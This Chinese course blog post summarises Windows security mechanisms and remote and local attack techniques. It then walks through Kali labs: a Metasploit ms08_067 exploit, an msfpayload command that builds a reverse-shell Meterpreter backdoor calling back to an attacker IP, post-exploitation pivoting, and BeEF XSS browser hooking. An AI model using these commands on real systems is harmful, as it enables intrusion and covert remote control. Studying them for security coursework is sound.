导航

20189207《网络攻防实践》第七周作业

Posted on 2019-04-14 23:22  20189207高鹏飞  阅读(248)  评论(0编辑  收藏  举报

教材内容总结

Windows操作系统基本框架概述


由上图可知:windows操作系统分为处于处理器特权模式的操作系统内核(包括:Windows执行体 、Windows内核体 、设备驱动程序 、硬件抽象层 、Windows窗口与图形界面内核实现代码 )以及运行在处理器非特权模式的用户态空间代码(包括:系统支持进程 、 环境子系统服务进程 、服务进程 、用户应用条件 、核心子系统DLL)

Windows操作系统在内核中实现如下核心机制:windows进程和线程管理机制、Windows内存管理机制、Windows文件管理机制、Windows注册表管理机制、Windows网络机制,其中根据OSI模型将网络组件模块分为:
(1)物理层 各种网卡硬件的设备驱动程序
(2)链路层 NDIS库及miniport驱动程序
(3)网络层与传输层 TDI传输层,实现了TCP/IP等协议栈
(4)会话层与表示层 网络API、DLL及TDI客户端
(5)应用层 网络应用程序与服务进程

Windows的安全体系结构

Windows身份认证机制

Windows操作系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类。Windows为每个用户和计算机设置账户(accounts)进行管理,作为这些安全主题运行程序的执行环境,账户权限的根本作用就是限制这些账户内运行程序对系统资源对象的访问。用户组是为了简化用户管理而引入的用户账户容器,通过将用户账户添加入特定的用户组,使得该用户拥有用户组配置的全部权限,有效地使用用户组。Windows用户账户的口令字经加密被保存于SAM或活动目录AD中。在Windows运行期间,内核对SAM文件加了一个持久性的文件锁,故即使是Administrator账户,通过正常路径也无法获取,只有LocalSystem账户权限才可以读取,但现在有许多黑客工具也可以在内存中直接dump出SAM的内容。

Windows授权与访问控制机制

Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。在用户等安全主体经过认证后,Windows系统会赋予用户一个访问令牌,在这个令牌中保存了一份与登录用户账户相关的安全主体SID标识符列表,包括用户账户本身的SID,所属用户组的SID列表,同时还包含该用户所拥有的一些系统特权列表。Windows对于系统中所有需保护的资源都抽象成对象(object),具体包括文件、目录、注册表键值、内核对象等。

Windows安全审计机制

系统审计策略在本地安全策略中由系统管理员来定义,来确定系统对哪些事件进行记录,LSASS服务将保存审计策略,并在对象启动设计功能后,在对象安全描述符中的SACL列表进行保存;SRM安全引用监控器在进行对象访问授权时,也将依据对象的SACL列表配置,对指定的对象访问和操作事件进行审计记录,发送给LSASS服务;由LSASS服务补充审计记录细节之后,再对这些审计记录发送给EventLog事件日志服务;EventLog服务最后将事件日志写入日志文件中,并通过事件查看器工具展示给系统管理员,也可以作为第三方审计日志分析工具的分析输入数据源。

Windows的其他安全机制

除了身份认证、授权与访问控制及安全审计这三个基本安全功能特性之外,Windows操作系统还包括IPsec加密与验证机制、EFS加密文件系统等。

Windows远程安全攻防技术

目前Windows的远程攻击技术可以分为以下几类:
1、远程口令猜测与破解攻击
2、攻击Windows网络服务
3、攻击Windows客户端及用户

Windows系统的安全漏洞生命周期

漏洞的发现、利用与修补过程
在安全漏洞当中,对攻击者最具价值的是远程渗透攻击可利用、后果为远程执行代码的高危型漏洞,或本地渗透攻击可利用、后果为本地特权提升的高危型漏洞,二者相结合可以造成严重的安全问题。
安全漏洞公开披露信息库
如:CVE、NVD、SecurityFocus、OSVDB等几个通用的漏洞信息库。
针对特定目标的渗透测试攻击过程
针对一个特定的主机系统目标,典型渗透攻击过程包括漏洞扫描测试、查找针对发现漏洞的渗透代码、实施渗透测试。
使用Metasploit软件实施渗透测试
典型工具是 Metasploit工具,具体的使用见后面详解。

Windows远程口令猜测与破解攻击

远程口令字猜测
Windows通过基于服务器消息块SMB协议承载的文件与打印机共享服务来为网络用户提供远程访问文件系统和打印机的支持,因而它也就成为攻击者实施Windows远程口令字猜测的传统攻击渠道。

远程口令字交换通信窃听与破解
实施远程口令字攻击的经典技术是窃听网络上的口令字交换通信实施破解。Windows的在不同版本在进行网络身份认证时,使用了LanMan、NTLM和Kerberos三种认证协议。

远程口令猜测与破解防范措施
最根本的防御措施还是使用高安全强度口令
1、尽量关闭不必要的易受远程口令猜测攻击网络服务
2、配置主机防火墙来限制对端口服务
3、利用网络防火墙限制这些服务的访问
4、禁用过时且存在本质缺陷的LanMan与NTLM,仅使用经过安全加固NTLMv2与Kerberos认证协议
5、对于安全级别较高的Windows系统服务器等主机,管理员可以制定和实施强口令字策略及设定账户锁定阈值。

Windows网络服务远程渗透攻击
主要针对Windows系统默认开放的诸如135(TCP)、137(UDP)等端口进行渗透,针对NetBios网络服务、SMB网络服务、MSRPC网络服务进行攻击,还有针对微软网络服务及第三方网络服务进行远程攻击。
防范措施包括:
1、从软件设计根源上尽可能减少漏洞出现
2、管理员尽可能快的更新与应用软件安全补丁
3、在“零日”漏洞时间管理员应作出相应的防范
4、利用服务厂商及社区中的安全核对清单对服务进行配置并利用一些安全增强插件来加固所部署的网络服务
5、通过漏洞扫描软件来标识网络中已经存在的安全漏洞并及时修补,启用入侵检测机制,建立有效的事件应急相应计划。

Window本地安全攻防技术
利用之前的技术获得Windows系统的访问权后,接下来的攻击主要包括本地特权提升、敏感信息窃取、消踪灭迹、远程控制与后门程序。
提权主要利用DLL注入和破解本地程序安全漏洞实现,工具有GetAdmin及Metasploit。
敏感信息获取主要包括系统口令字密文提取、系统口令字破解及用户敏感数据窃取。
消踪灭迹主要包括关闭审计功能和清理事件日志。
远程控制与后门程序可通过各种现成的黑客工具利用命令行或是图形化界面实现。可针对各个不同的攻击手段采取相应的防范措施。

kali视频学习

Metasloit基础使用


ping靶机测试连通性,可以连通。
使用msfconsole打开msf的命令行版。

搜索ms08_067漏洞,并利用。

列出攻击载荷

设置攻击载荷和攻击机靶机ip

成功

Meterpreter介绍

1。Meterpreter是metasploit框架中扩展模块,作为溢出成功以后的攻击载荷使用作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。
meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。
2.常用命令:

background把当前的会话设置为背景,需要的时候在启用
load/use:加载模块
Interact:切换一个信道
migrate:迁移进程
run:执行一个已有模块,输入run后按两下teb,会列出所有的已有脚本。
Resource:执行一个已有的rc脚本常用的Meterpreter类型为:payload/windows/meterpreter/reverse_tcp
针对windows操作系统,反向连接shell,只用起来比较稳定。
3.步骤
1)生成Meterpreter后门
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.31.247 LPORT=2333 R | msfencode -t exe -c 5 > /root/door1.exe

2)进入所在目录,修改属性:选择“允许以程序执行文件”,这时候也可以做一些免杀
3)打开msfconsole,加载exploit/multi/handler模块,设置本地主机;然后开始监听:exploit -z -j :
4)将程序拷贝到目标主机并执行:
5)后门程序反向连接到msf,msf发起第二次攻击(开始渗透),然后客户端(后门程序)连接到服务端(msf)

漏洞利用metasploit后渗透测试

1.查看当前网卡网段信息
2.添加路由表run autoroute -s 10.0.0.1
3.开Socks代理 通过使用 auxiliary/sever/socks4a模块,创建一个Socks代理,可以作为浏览器,Sqlmp,Namp等使用。
4.通过Background和sessions -i可以自由切换进入Session
5.输入run可以看到Meterpreter上可以做的很多命令
6.获取内网信息run arp_scanner -r 10.0.0.1/24
7.也可上传文件,做端口转发后续测试
8.应用程序/权限维持/Tunnel工具集
9.端口转发 upload lcx.exe c:

Kali漏洞利用之BeeF

对XSS漏洞需要强大框架的支持,如网上的XSS平台。在Kali下,BeeF是一个不逊色于XSS平台的工具。Beef是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具。官网http://beefproject.com/
1.命令行下启动Beef beef-xss 此时浏览器自动访问此页面:http://127.0.0.1:3000/ui/authentication 使用默认用户名beef与默认密码beef登录:
初始用户名和密码为:beef和beef

2.假设被测试主机由于XSS漏洞请求到 http://192.168.11.152:3000/demos/basic.html
3.HOOK持续的时间为关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令,在Commands模块,我们可以完成很多任务:
4.代理Proxy功能
选中目标主机,点右键,在菜单中选中Use as Proxy;然后在Rider选项卡中的Forge Request编辑并发送想要发送的内容。
点击send 拿目标来请求页面
状态还是waiting命令还在执行